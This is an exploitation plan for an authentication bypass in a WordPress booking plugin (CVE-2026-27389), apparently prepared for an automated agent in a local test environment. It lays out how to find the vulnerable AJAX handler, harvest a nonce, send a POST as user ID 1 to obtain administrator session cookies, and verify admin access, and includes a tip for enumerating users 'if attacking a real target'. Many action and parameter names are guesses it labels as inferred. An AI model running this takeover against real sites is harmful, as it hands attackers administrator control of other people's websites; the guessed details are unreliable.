Exploitation Research Plan: CVE-2026-27389 (WeDesignTech Ultimate Booking Addon Authentication Bypass)

1. Vulnerability Summary

The WeDesignTech Ultimate Booking Addon plugin (<= 1.0.1) contains an authentication bypass vulnerability. The flaw resides in an insecurely implemented AJAX handler (likely registered via wp_ajax_nopriv_) that allows unauthenticated users to authenticate as any user on the site—including administrators—by providing only a user ID or email address. This occurs because the plugin fails to verify the user's password or an adequately secure token before calling wp_set_auth_cookie().

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: wdt_booking_ajax_login or dt_ultimate_booking_login (inferred; based on WeDesignTech naming conventions).
• Vulnerable Parameter: user_id or user_email (inferred).
• Authentication: Unauthenticated (requires wp_ajax_nopriv_ registration).
• Preconditions:
  1. The plugin must be active.
  2. An administrator's user_id (typically 1) must be known.
  3. A valid AJAX nonce may be required if the plugin uses check_ajax_referer.

3. Code Flow (Inferred)

1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with action=[VULNERABLE_ACTION].
2. Hook Registration: The plugin registers the action:
   add_action( 'wp_ajax_nopriv_[VULNERABLE_ACTION]', array( $this, 'vulnerable_function' ) );
3. Vulnerable Function: Inside the callback (e.g., vulnerable_function):
   • The code retrieves a user_id from $_POST['user_id'].
   • It may perform a cursory check (like verifying a nonce).
   • Critical Sink: It calls wp_set_current_user( $user_id ) and wp_set_auth_cookie( $user_id ).
4. Result: The server response includes Set-Cookie headers for the specified user, granting the attacker a logged-in session.

4. Nonce Acquisition Strategy

If the vulnerable endpoint enforces a nonce check via check_ajax_referer, follow these steps to retrieve it:

1. Identify Localization: Search the codebase for wp_localize_script. Look for an object containing an "ajax_nonce" or similar key.
   • Likely Object: wdt_booking_object or dt_ultimate_booking_settings.
   • Likely Key: wdt_booking_nonce or nonce.
2. Locate Trigger Shortcode: Search for add_shortcode in the plugin.
   • Likely Shortcode: [wdt_ultimate_booking] or [dt_booking_form].
3. Setup Page: Use WP-CLI to create a page containing this shortcode:

   wp post create --post_type=page --post_title="Booking Page" --post_status=publish --post_content='[wdt_ultimate_booking]'
   

4. Extract via Browser:
   • Navigate to the newly created page.
   • Execute JS: browser_eval("window.wdt_booking_object?.nonce") (Replace with the actual variable found).

5. Exploitation Strategy

Step 1: Discover Vulnerable Action

Search the plugin directory for the authentication sink:

grep -rn "wp_set_auth_cookie" /var/www/html/wp-content/plugins/wedesigntech-ultimate-booking-addon/

Identify the function name and then find the add_action call that links it to a wp_ajax_nopriv_ hook.

Step 2: Extract Nonce (If Required)

If the function uses check_ajax_referer('some_action', 'nonce_param'), perform the Nonce Acquisition Strategy described in Section 4.

Step 3: Execute Bypass Request

Send a POST request to admin-ajax.php to log in as user ID 1 (Administrator).

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Content-Type: application/x-www-form-urlencoded
• Body:

  action=[VULNERABLE_ACTION]&user_id=1&security=[NONCE]
  

  (Note: Replace user_id and security with the actual parameter names found in the source).

Step 4: Verify Authentication

The response from Step 3 should contain Set-Cookie headers for wordpress_logged_in_[HASH].

6. Test Data Setup

1. Ensure the plugin is installed and activated.
2. Confirm that an admin user exists with ID 1: wp user list --role=administrator.
3. Identify the main booking shortcode (e.g., [wdt_ultimate_booking]) and place it on a public page if a nonce is needed.

7. Expected Results

• HTTP Response: 200 OK or 302 Redirect.
• Headers: Set-Cookie headers starting with wordpress_logged_in_....
• Payload Response: Likely a JSON success message: {"success":true,...}.

8. Verification Steps

After the HTTP request, verify the session using the returned cookies:

1. Attempt Admin Access: Use the http_request tool to fetch /wp-admin/index.php using the cookies obtained from the exploit response.
2. WP-CLI Session Check: Since the exploit uses HTTP, verify the site state via CLI:

   # Check if any new sessions or meta changes occurred (if applicable)
   wp user get 1
   

3. Confirm Identity: The fetched /wp-admin/ page HTML should contain "Howdy, admin" or the administrator's display name.

9. Alternative Approaches

• Email-Based Login: If the AJAX handler uses user_email instead of user_id, retrieve the admin email first: wp user get 1 --field=user_email.
• Missing Nonce: Many authentication bypasses in this category occur because the developer registered the nonce but forgot to verify it in the nopriv handler. Try the exploit without a nonce first.
• User Enumeration: If ID 1 is not an admin, use wp user list to find the correct ID. If attacking a real target, use /wp-json/wp/v2/users to enumerate IDs.